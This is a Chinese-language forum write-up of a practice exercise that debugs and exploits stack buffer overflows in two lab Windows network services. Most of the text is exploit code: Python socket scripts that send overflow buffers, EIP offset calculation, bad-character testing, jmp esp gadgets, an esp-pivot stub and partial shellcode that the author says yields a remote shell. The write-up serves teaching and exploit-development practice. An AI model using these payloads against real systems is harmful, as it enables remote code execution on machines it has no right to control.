【二进制漏洞-Windows 基础溢出漏洞调试分析记录】此文章归类为:二进制漏洞。
分析两个程序,练习题性质
Vuln1App.exe
1.基础测试
1.1 Fuzz 测试
运行程序开启7001端口 基础Poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | import socket
try:
print("\nSending evil buffer...")
size = 0xA00
buffer = b"A" * size
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.130", 7001))
s.send(buffer)
s.close()
print("\nDone!")
except:
print("\nCould not connect!")
|
加载到windbg当中查看内存

溢出导致崩溃。
1.2 eip位置计算
这里我还是习惯用msf生成有序字符串
1 | msf-pattern_create -l 0xa00
|

修改代码
再次运行加载到windbg

查询eip位置
1 | msf-pattern_offset -q 33794332
|

修改代码
1 2 3 4 | size = 0xA00
eip = b'B' * 4
buffer = b'A' * 2288 + eip
buffer += b'C' * (size - len(buffer))
|
检查windbg

上图红色圈出的部分是eip,从01bcee5c开始是esp,蓝色圈出部分就是他们之间的空隙,有 8 bytes 的空隙需要填充
1 2 3 4 5 | size = 0xA00
eip = b'B' * 4
offset = b'C' * 8
buffer = b'A' * 2288 + eip + offset
buffer += b'D' * (size - len(buffer))
|
1.3 坏字符检测
这个程序非常基础,不存在坏字符,所以直接pass即可

2 Get Shell
非常基础的程序,不存在坏字符,溢出过后的空间够用,eip需要一个jmp esp的指令,shellcode可以直接msf生成一个,然后修改代码,运行即可.
在windbg当中查找jmp esp
1 2 | lm m VulnApp1
s -b 14800000 14816000 ff e4
|

修改代码
1 2 3 4 5 6 7 8 9 10 | eip = b'\xcf\x10\x80\x14'
offset = b'C' * 8
shellcode = b""
shellcode += b"\xd9\xcb\xba\xd6\xf8\x2e\xad\xd9\x74\x24\xf4"
......
buffer = b'A' * 2288 + eip + offset
buffer += b'\x90' * 10 + shellcode
buffer += b'D' * (size - len(buffer))
|
成功获取到shell
比较基础就直接过了
1.基础测试
来看第二个程序
1.1 Fuzz 测试
启动程序后,程序开启监听7002端口,向该端口发送大量A并且加载到windbg当中进行调试分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | import socket
try:
print("\nSending evil buffer...")
size = 0x830
buffer = b"A" * 0x830
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.130", 7002))
s.send(buffer)
s.close()
print("\nDone!")
except:
print("\nCould not connect!")
|
可以从截图当中看到,eip已经被影响

说明存在溢出漏洞。
1.2.计算eip偏移量
利用msf生成有序字符串
1 | msf-pattern_create -l 0x830
|
修改基础Poc代码
1 | buffer = b'Aa0Aa1Aa2Aa3A......'
|
再次执行并且查看windbg,可以看到现在EIP被字符72433372填充

查询字符串位置
1 | msf-pattern_offset -q 72433372
|

通过查询可以看到eip的位置在2080,修改Poc代码
1 2 3 4 | size = 0x830
eip = b'B' * 4
buffer = b'A' * 2080 + eip
buffer += b'C' * (size - len(buffer))
|
查看windbg日志
1 2 3 4 | 0:006> dd esp -20
01b9ff58 41414141 41414141 41414141 41414141
01b9ff68 41414141 41414141 41414141 42424242
01b9ff78 43434343 43434343 43434343 77de5900
|

从windbg的日志,可以分析出,eip后紧接着就是esp但是之后的空间,我们可写入的部分仅有0x10(16),然后除去eip的4个字节,其实真正写入的只有0XC(12)这么多
所以接下来的测试,我们需要稍微记录一下,后续把shellcode写在别的地方。
1.3. Badchars 测试
在上述情况下,由于可测试的空间非常小,所以这里坏字符的检测就需要稍微做一下调整,由于esp可写入的部分很少,所以对应的坏字符的检测也要一点一点来。badchars的格式稍微变一下,如下,这样利用二分法,然后找出有坏字符的行然后再一个一个找出坏字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | badchars = (
b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c'
b'\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18'
b'\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24'
b'\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30'
b'\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c'
b'\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48'
b'\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54'
b'\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60'
b'\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c'
b'\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78'
b'\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84'
b'\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90'
b'\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c'
b'\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8'
b'\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4'
b'\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0'
b'\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc'
b'\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8'
b'\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4'
b'\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0'
b'\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc'
b'\xfd\xfe\xff'
)
buffer = b'A' * 2080 + eip
buffer += badchars
|

如上图,每验证一行就注释一行。
当测试到这一行
1 | b'\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c'
|
查看windbg,发现3a过后开始出现00由此判定3b是坏字符
1 2 3 | 0:006> dd esp L8
01b5ff78 34333231 38373635 01003a39 770f594b
01b5ff88 00000324 ae23a972 00000000 00000000
|

去除3b后的windbg日志也证实这一点,依次类推,找出所有坏字符
1 2 3 | 0:006> dd esp L8
01bdff78 34333231 38373635 3d3c3a39 770f5900
01bdff88 0000030c 7953f96d 00000000 00000000
|
所有的坏字符如下
2.0 进阶测试
2.1.指令查找
由于没有那么大的空间让我们写shellcode,所以这里的思路是把shellcode写入前面的部分,然后让程序执行流程跳到上面去。首先,依然需要eip的指令为jmp esp。
1 2 3 4 5 6 7 8 | 0:006> s -b 14800000 14816000 ff e4
1480113d ff e4 83 7d ec 00 75 03-58 5b c3 5b 8b e5 5d c3 ...}..u.X[.[..].
0:006> u 1480113d
VulnApp2+0x113d:
1480113d ffe4 jmp esp
1480113f 837dec00 cmp dword ptr [ebp-14h],0
14801143 7503 jne VulnApp2+0x1148 (14801148)
......
|
之后我们来尝试写一些指令,首先我们假设我们的shellcode非常大500字节左右,为了避免坏字符,利用增加负数这种技巧,避免00字符
1 | ? 0x00000000 - 0x000001F4 = fffffe0c
|
之后使用msf(或是其他汇编转换器),将汇编转换成字节码
1 2 3 4 5 | msf-nasm_shell
nasm > add esp,0xfffffe0c
00000000 81C40CFEFFFF add esp,0xfffffe0c
nasm > jmp esp
00000000 FFE4 jmp esp
|
之后在Poc当中增加这些指令,这些指令足够小,刚好能够把他放进0xC这个空间内,并且完全没有坏字符。
1 2 | esp_cmd = b'\x81\xC4\x0C\xFE\xFF\xFF'
esp_cmd += b'\xFF\xE4'
|
此时修改这部分代码将eip和esp的部分都写好
1 2 3 4 5 6 | eip = b'\x3d\x11\x80\x14'
shellcode = b'\x90' * 500
esp_cmd = b'\x81\xC4\x0C\xFE\xFF\xFF'
esp_cmd += b'\xFF\xE4'
|
并且在jmp esp当中打断点验证,从截图可以看出来,jmp esp成功命中

3.0 Get Shell
ok,来到最后的部分,我们整体的思路是,首先利用2080个字符让程序溢出,然后让eip指向找到的jmp esp,之后esp当中存储的是我们准备好的一段恶意指令,会让esp - 500 并且再次跳转esp。而esp - 500的位置就是我们写shellcode的位置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | import socket
try:
print("\nSending evil buffer...")
size = 0x830
overflower_size = 2080
eip = b'\x3d\x11\x80\x14'
shellcode = b'\x90' * 10
shellcode += b"\xbf\x99\xf9\x11\x2d\xda\xd8\xd9\x74\x24\xf4"
......
esp_cmd = b'\x81\xC4\x0C\xFE\xFF\xFF'
esp_cmd += b'\xFF\xE4'
buffer = b'A' * 1580 + shellcode
buffer += b'\x90' * (2080 - len(buffer)) + eip
buffer += esp_cmd
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.130", 7002))
s.send(buffer)
s.close()
print("\nDone!")
except:
print("\nCould not connect!")
|
执行Exp开启监听,最终获取shell
最后于 1天前
被Cypher.M编辑
,原因:
更多【二进制漏洞-Windows 基础溢出漏洞调试分析记录】相关视频教程:www.yxfzedu.com